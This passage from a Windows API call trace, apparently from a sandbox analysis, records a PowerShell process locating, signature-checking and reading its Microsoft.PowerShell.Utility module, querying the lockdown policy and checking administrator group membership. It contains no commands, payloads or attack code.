lpFilePart=0x0) returned 0x5d [0177.555] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x5d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x5c [0177.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d180) returned 1 [0177.556] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a2d444 | out: lpFileInformation=0x5a2d444*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0177.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d17c) returned 1 [0177.559] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0177.562] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0177.563] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0177.563] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x57, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x56 [0177.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d180) returned 1 [0177.563] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a2d444 | out: lpFileInformation=0x5a2d444*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0177.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d17c) returned 1 [0177.686] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0177.691] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0177.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0177.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x59, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x58 [0177.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d180) returned 1 [0177.692] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a2d444 | out: lpFileInformation=0x5a2d444*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0177.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d17c) returned 1 [0177.698] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0181.125] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0181.125] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0181.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0181.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0181.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0181.126] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0181.468] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1")) returned 0x20 [0181.469] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0181.470] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0181.470] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2d1a4, Length=0x20, ResultLength=0x5a2d214 | out: SystemInformation=0x5a2d1a4, ResultLength=0x5a2d214*=0x0) returned 0xc0000003 [0181.470] GetSystemInfo (in: lpSystemInfo=0x5a2d220 | out: lpSystemInfo=0x5a2d220*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0181.470] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2d1b0 | out: phkResult=0x5a2d1b0*=0x45c) returned 0x0 [0181.471] RegQueryValueExW (in: hKey=0x45c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2d1cc, lpData=0x0, lpcbData=0x5a2d1c8*=0x0 | out: lpType=0x5a2d1cc*=0x0, lpData=0x0, lpcbData=0x5a2d1c8*=0x0) returned 0x2 [0181.471] RegCloseKey (hKey=0x45c) returned 0x0 [0181.471] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0181.471] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0181.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cf54) returned 1 [0181.471] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x23774f0 | out: lpFileInformation=0x23774f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0181.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cf50) returned 1 [0181.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0181.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0181.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cf14) returned 1 [0181.472] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a2d1d8 | out: lpFileInformation=0x5a2d1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0181.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cf10) returned 1 [0181.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0181.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0181.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0181.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0181.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cea8) returned 1 [0181.472] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a2d16c | out: lpFileInformation=0x5a2d16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0181.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cea4) returned 1 [0181.472] CoTaskMemAlloc (cb=0x10) returned 0x5c83540 [0181.473] CoTaskMemAlloc (cb=0x10) returned 0x5c83510 [0181.473] CoTaskMemAlloc (cb=0xe4) returned 0x393770 [0181.473] CoTaskMemAlloc (cb=0x30) returned 0x3c4b80 [0181.473] WinVerifyTrust () returned 0x800b0100 [0181.492] CoTaskMemFree (pv=0x5c83540) [0181.492] CoTaskMemFree (pv=0x3c4b80) [0181.492] CryptCATHandleFromStore () returned 0x36da00 [0181.492] WTHelperGetProvSignerFromChain () returned 0x0 [0181.492] CoTaskMemAlloc (cb=0x10) returned 0x5c83540 [0181.492] CoTaskMemAlloc (cb=0x30) returned 0x3c4b80 [0181.492] WinVerifyTrust () returned 0x0 [0181.493] CoTaskMemFree (pv=0x3c4b80) [0181.493] CoTaskMemFree (pv=0x5c83540) [0181.493] CoTaskMemFree (pv=0x393770) [0181.493] CoTaskMemFree (pv=0x5c83510) [0181.493] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0181.493] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0181.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d160) returned 1 [0181.493] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0181.493] GetFileType (hFile=0x45c) returned 0x1 [0181.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d15c) returned 1 [0181.494] GetFileType (hFile=0x45c) returned 0x1 [0181.494] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d19c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d19c*=0) returned 0x0 [0181.494] ReadFile (in: hFile=0x45c, lpBuffer=0x2378d04, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d1c8, lpOverlapped=0x0 | out: lpBuffer=0x2378d04*, lpNumberOfBytesRead=0x5a2d1c8*=0x1000, lpOverlapped=0x0) returned 1 [0181.494] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d19c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d19c*=0) returned 0x1000 [0181.494] ReadFile (in: hFile=0x45c, lpBuffer=0x2378d04, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d1c8, lpOverlapped=0x0 | out: lpBuffer=0x2378d04*, lpNumberOfBytesRead=0x5a2d1c8*=0x1000, lpOverlapped=0x0) returned 1 [0181.495] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d19c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d19c*=0) returned 0x2000 [0181.495] ReadFile (in: hFile=0x45c, lpBuffer=0x2378d04, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d1c8, lpOverlapped=0x0 | out: lpBuffer=0x2378d04*, lpNumberOfBytesRead=0x5a2d1c8*=0x1000, lpOverlapped=0x0) returned 1 [0181.495] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d19c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d19c*=0) returned 0x3000 [0181.495] ReadFile (in: hFile=0x45c, lpBuffer=0x2378d04, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d1c8, lpOverlapped=0x0 | out: lpBuffer=0x2378d04*, lpNumberOfBytesRead=0x5a2d1c8*=0x1000, lpOverlapped=0x0) returned 1 [0181.496] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d19c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d19c*=0) returned 0x4000 [0181.496] ReadFile (in: hFile=0x45c, lpBuffer=0x2378d04, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d1c8, lpOverlapped=0x0 | out: lpBuffer=0x2378d04*, lpNumberOfBytesRead=0x5a2d1c8*=0x1000, lpOverlapped=0x0) returned 1 [0181.496] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d19c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d19c*=0) returned 0x5000 [0181.496] ReadFile (in: hFile=0x45c, lpBuffer=0x2378d04, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d1c8, lpOverlapped=0x0 | out: lpBuffer=0x2378d04*, lpNumberOfBytesRead=0x5a2d1c8*=0x1000, lpOverlapped=0x0) returned 1 [0181.496] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d19c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d19c*=0) returned 0x6000 [0181.497] ReadFile (in: hFile=0x45c, lpBuffer=0x2378d04, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d1c8, lpOverlapped=0x0 | out: lpBuffer=0x2378d04*, lpNumberOfBytesRead=0x5a2d1c8*=0x1000, lpOverlapped=0x0) returned 1 [0181.497] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d19c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d19c*=0) returned 0x7000 [0181.497] ReadFile (in: hFile=0x45c, lpBuffer=0x2378d04, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d1c8, lpOverlapped=0x0 | out: lpBuffer=0x2378d04*, lpNumberOfBytesRead=0x5a2d1c8*=0x778, lpOverlapped=0x0) returned 1 [0181.497] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d19c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d19c*=0) returned 0x7778 [0181.497] ReadFile (in: hFile=0x45c, lpBuffer=0x2378410, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x5a2d1c8, lpOverlapped=0x0 | out: lpBuffer=0x2378410*, lpNumberOfBytesRead=0x5a2d1c8*=0x0, lpOverlapped=0x0) returned 1 [0181.497] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d19c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d19c*=0) returned 0x7778 [0181.497] ReadFile (in: hFile=0x45c, lpBuffer=0x2378d04, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d1c8, lpOverlapped=0x0 | out: lpBuffer=0x2378d04*, lpNumberOfBytesRead=0x5a2d1c8*=0x0, lpOverlapped=0x0) returned 1 [0181.498] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2d130, Length=0x20, ResultLength=0x5a2d1a0 | out: SystemInformation=0x5a2d130, ResultLength=0x5a2d1a0*=0x0) returned 0xc0000003 [0181.498] GetSystemInfo (in: lpSystemInfo=0x5a2d1ac | out: lpSystemInfo=0x5a2d1ac*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0181.498] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2d13c | out: phkResult=0x5a2d13c*=0x460) returned 0x0 [0181.499] RegQueryValueExW (in: hKey=0x460, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2d158, lpData=0x0, lpcbData=0x5a2d154*=0x0 | out: lpType=0x5a2d158*=0x0, lpData=0x0, lpcbData=0x5a2d154*=0x0) returned 0x2 [0181.499] RegCloseKey (hKey=0x460) returned 0x0 [0181.499] CloseHandle (hObject=0x45c) returned 1 [0181.798] CoCreateGuid (in: pguid=0x5a2d270 | out: pguid=0x5a2d270*(Data1=0x4f9c05b8, Data2=0x813f, Data3=0x4377, Data4=([0]=0xaa, [1]=0xa3, [2]=0xa5, [3]=0x24, [4]=0xe9, [5]=0x4f, [6]=0x6c, [7]=0x46))) returned 0x0 [0181.799] GetCurrentProcess () returned 0xffffffff [0181.799] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a2d23c | out: TokenHandle=0x5a2d23c*=0x460) returned 1 [0181.800] GetTokenInformation (in: TokenHandle=0x460, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x5a2d23c | out: TokenInformation=0x0, ReturnLength=0x5a2d23c) returned 0 [0181.800] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x5c74e70 [0181.800] GetTokenInformation (in: TokenHandle=0x460, TokenInformationClass=0x8, TokenInformation=0x5c74e70, TokenInformationLength=0x4, ReturnLength=0x5a2d23c | out: TokenInformation=0x5c74e70, ReturnLength=0x5a2d23c) returned 1 [0181.800] LocalFree (hMem=0x5c74e70) returned 0x0 [0181.800] DuplicateTokenEx (in: hExistingToken=0x460, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x5a2d244 | out: phNewToken=0x5a2d244*=0x340) returned 1 [0181.800] CheckTokenMembership (in: TokenHandle=0x340, SidToCheck=0x2417fd4*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x5a2d254 | out: IsMember=0x5a2d254) returned 1 [0181.801] CloseHandle (hObject=0x340) returned 1 [0181.815] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2cfe0 | out: lpPerformanceCount=0x5a2cfe0*=3252347988834) returned 1 [0181.815] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0181.815] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0181.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cccc) returned 1 [0181.816] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: 